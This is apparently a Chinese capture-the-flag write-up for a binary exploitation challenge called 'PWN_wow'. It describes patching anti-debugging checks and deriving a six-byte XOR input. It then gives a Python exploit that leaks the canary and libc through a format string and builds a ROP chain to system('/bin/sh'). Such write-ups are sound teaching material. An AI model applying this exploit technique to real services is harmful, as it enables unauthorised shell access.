-
-
[原创]第三题 PWN_wow
-
2018-6-21 12:56 1667
-
先patch掉反调,然后单步跟进,发现读入六个字节,然后拿去做异或,修改后面的代码。
待修改的代码会出现连续三个一样的字符,猜测应该是00,于是得到输入为evXnaK
。
之后出现一次printf和简单栈溢出,于是先泄漏canary和libc,然后ROP。
def exploit(r): r.clean() r.send('\x65\x76\x58\x6e\x61\x4b') r.clean() r.send('%13$p@%15$p'.ljust(26, '#')) tmp = r.recvuntil('###', drop=True) r.clean() tmp = tmp.split('@') canary = int(tmp[0], 16) libc.address = int(tmp[1], 16) - libc.sym['__libc_start_main'] - 240 info(canary) info('%016x libc.address', libc.address) raw_input('#') r.send(flat('a'*88, canary, 0, 0x400b23, libc.search('/bin/sh').next(), libc.sym['system']).ljust(0x200, '\x00')) r.interactive()
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。
赞赏
他的文章
看原图